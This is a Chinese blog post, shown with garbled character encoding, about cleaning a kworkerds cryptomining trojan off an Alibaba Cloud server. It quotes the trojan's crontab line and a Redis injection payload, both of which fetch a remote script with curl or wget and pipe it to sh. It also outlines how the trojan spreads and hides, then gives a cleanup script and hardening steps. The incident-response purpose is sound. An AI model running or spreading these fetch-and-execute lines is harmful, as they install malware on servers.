記一次阿里云被植入挖礦木馬事件
一、起因
今天,同事說我負(fù)責(zé)的模塊在阿里云上不工作了,我趕忙遠(yuǎn)程登錄查看。
1. 服務(wù)器的癥狀
- 敲命令的時(shí)候,終端的字符回傳很快,但是命令的響應(yīng)時(shí)間較長(zhǎng);
- 服務(wù)器內(nèi)存32GB,剩余200MB;
- CPU跑到了99%;
- 我負(fù)責(zé)的模塊之前一直工作正常,穩(wěn)定性好,沒修改過配置,但現(xiàn)在不能工作;
- 查看我負(fù)責(zé)的模塊配置正常、運(yùn)行正常,但部分服務(wù)出錯(cuò);
- top命令未發(fā)現(xiàn)有高耗CPU的進(jìn)程,但是有大量的kworkerds進(jìn)程。
2. 定位分析
病癥1、3、6說明是阿里云服務(wù)器已經(jīng)產(chǎn)生了異常。
根據(jù)病癥4、5一步步梳理流程,核對(duì)日志,定位問題,最終發(fā)現(xiàn),redis可以正常提供服務(wù),但程序無法將數(shù)據(jù)刷新到redis,導(dǎo)致分別負(fù)責(zé)讀寫的兩個(gè)模塊數(shù)據(jù)長(zhǎng)時(shí)間不能同步,重啟redis后服務(wù)正常。但問題需要進(jìn)一步分析。
二、查找木馬
服務(wù)器是與別人共用的,其他的服務(wù),我們不知道是否有用。但服務(wù)器卡頓,實(shí)在影響調(diào)試效率,搜索了一下kworkerds,才知道是個(gè)挖礦的木馬程序。
查看木馬進(jìn)程數(shù)
- [root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l
- 385
kill掉所有木馬進(jìn)程
- [root@xxx ~] # ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9
查看開機(jī)啟動(dòng)項(xiàng)和任務(wù)
- [root@XXX ~]# systemctl list-unit-files
- (沒發(fā)現(xiàn)問題,就不貼進(jìn)來了)
- [root@XXX ~]# cat /etc/rc.local
- (沒發(fā)現(xiàn)問題,就不貼進(jìn)來了)
- [root@XXX ~]# cat /etc/crontab
- ...
- 01 * * * * root run-parts /etc/cron.hourly
- 02 4 * * * root run-parts /etc/cron.daily
- 0 1 * * * root /usr/local/bin/dns
- [root@XXX ~]# crontab -l
- */23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
“/etc/crontab”里的內(nèi)容看起來好像是正常,但是“crontab -l”中顯示的內(nèi)容有些來路不明。
于是下載代碼查看
- [root@xxx ~]# (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)
- (木馬的代碼我就不貼進(jìn)來了)
限于篇幅,木馬的代碼就不展示在此了,大家可以自行下載查看,記住,下載的時(shí)候要把"|sh"去掉,當(dāng)心玩火自焚。
三、分析木馬
木馬腳本寫得還是不錯(cuò)的,風(fēng)格整齊,邏輯嚴(yán)謹(jǐn)。出色地完成了以下功能:
- 刪除阿里云云盾客戶端和阿里云監(jiān)控程序;
- 停止、刪除主機(jī)已經(jīng)存在的其他挖礦程序;
- 下載挖礦程序和配置文件并執(zhí)行;
- 約束木馬程序,防止觸發(fā)服務(wù)器性能監(jiān)測(cè)工具告警;
- 設(shè)置任務(wù)計(jì)劃,保持更新,持續(xù)感染主機(jī);
- 通過本機(jī)感染其他主機(jī);
- 清空操作日志,篡改文件修改時(shí)間,隱藏自己的訪問蹤跡。
木馬中同時(shí)用了shell和python兩種腳本,腳本逐層嵌套,對(duì)于一些敏感的代碼,使用了base64進(jìn)行加密,針對(duì)不同的系統(tǒng)平臺(tái)有不同的處理,同時(shí)鎖定了自己修改的文件,防止被別的程序隨意修改,提供遠(yuǎn)程服務(wù)的IP地址來自非洲東部的塞舌爾共和國(guó)。
四、木馬是如何傳播的
1. 傳播方式
木馬傳播方式有三種,如下:
- activeMQ
- redis
- ssh的免密碼登錄
2. 傳播思路
木馬感染的步驟如下:
- 通過掃描"xxx.xxx.0.0/16"網(wǎng)段內(nèi)的所有IP的6379和8186兩個(gè)端口;
- 如果可以連接,那么以key-value的形式寫入數(shù)據(jù);
- 'set SwE3SC "\\t\\n*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|sh\\n\\t"\r\n'
遠(yuǎn)程腳本執(zhí)行時(shí),會(huì)重新修改定時(shí)任務(wù)等文件,保證可以持續(xù)感染主機(jī),同時(shí)也隱藏了第一次感染的痕跡。之后每個(gè)定時(shí)周期到來時(shí),都會(huì)重復(fù)4、5兩個(gè)步驟。
3. 排查漏洞
服務(wù)器中沒有activeMQ,沒有.ssh文件夾。小編也根據(jù)代碼流程,感染了一下自己的redis,但是并沒有達(dá)到預(yù)期的結(jié)果。
本人用的redis文件保存的時(shí)候是二進(jìn)制的,不是字符串,根本無法被定時(shí)任務(wù)執(zhí)行,但是修改感染腳本,可以完成黑客設(shè)置的既定思路。
結(jié)合阿里云之前修改過密碼的情況,本次感染可能有兩種來源:
- 以前發(fā)現(xiàn)了被感染,但木馬沒有被清理干凈;
- 木馬作者會(huì)定期修改自己的代碼來感染不同版本的redis,甚至是去利用其它軟件的漏洞。
另外一個(gè)代碼變動(dòng)的證據(jù)就是netstat命令的二進(jìn)制文件遭到篡改,這顯然是為了應(yīng)對(duì)運(yùn)維人員排查異常網(wǎng)絡(luò)連接而設(shè)計(jì)的,但本次檢查木馬代碼時(shí),并沒有發(fā)現(xiàn)與netstat命令有關(guān)的操作。
五、清理木馬
清理過程分兩步:刪除木馬文件和修補(bǔ)當(dāng)前漏洞。
1. 刪除木馬文件
根據(jù)木馬的代碼,寫了清理腳本,如下:
- #!/bin/bash
- ps auxf | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9
- chattr -i /usr/local/bin/dns /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/ld.so.preload
- echo "" > /usr/local/bin/dns
- echo "" > /etc/cron.d/root
- echo "" > /etc/cron.d/apache
- echo "" > /var/spool/cron/root
- echo "" > /var/spool/cron/crontabs/root
- rm -rf /etc/cron.hourly/oanacroner
- rm -rf /etc/cron.daily/oanacroner
- rm -rf /etc/cron.monthly/oanacroner
- sed -i '/cron.hourly/d' /etc/crontab
- sed -i '/cron.daily/d' /etc/crontab
- sed -i '/usr\/local\/bin\/dns/d' /etc/crontab
- #sed -i '$d' /etc/ld.so.preload
- rm -rf /usr/local/lib/libntpd.so
- #/tmp/.a可以不刪,木馬是通過此文件判斷是否要卸載阿里云盾
- #rm -rf /tmp/.a
- rm -rf /bin/kworkerds
- rm -rf /tmp/kworkerds
- rm -rf /usr/sbin/kworkerds
- rm -rf /etc/init.d/kworker
- chkconfig --del kworker
腳本僅供大家參考,在執(zhí)行之前還是要對(duì)照一下具體的環(huán)境。
除此之外,還需要排查一下系統(tǒng)中是否有異常用戶,異常的服務(wù)和異常的監(jiān)聽端口。畢竟服務(wù)器被入侵過,絕不能等閑視之。
2. 修補(bǔ)漏洞
以redis為例,修補(bǔ)漏洞有很多種方法:
- 限制端口,使其對(duì)外不可連接;
- 不要使用root運(yùn)行reids;
- 及時(shí)更新軟件,修補(bǔ)漏洞;
- 修改默認(rèn)端口;
- 對(duì)重要命令重命名;
關(guān)于這個(gè)問題,阿里云也有詳細(xì)的安全加固方案:
https://help.aliyun.com/knowledge_detail/37447.html?spm=a2c4g.11186631.2.3.29131848FutMrC
編者的話
黑客一詞聽起來感覺酷酷的,因?yàn)槭澜缟洗_有一批崇尚用技術(shù)實(shí)現(xiàn)“開放、自由、真實(shí)、平等、美好生活”的人,他們離經(jīng)叛道,閃閃發(fā)光。然而,通常情況下非法獲取利益的黑客僅僅是一個(gè)小偷而已,喜歡的是不勞而獲,而不是技術(shù)本身,技術(shù)水平也只能是一般。
希望大家從技術(shù)交流,防范風(fēng)險(xiǎn)的角度看待文中提供的木馬資料,不要走上違法犯罪的道路。從另一個(gè)角度講,信息安全無小事,文中的木馬僅僅是挖礦,事實(shí)上,該漏洞足以讓黑客在你的服務(wù)器上做任何事,大家萬(wàn)萬(wàn)不可掉以輕心。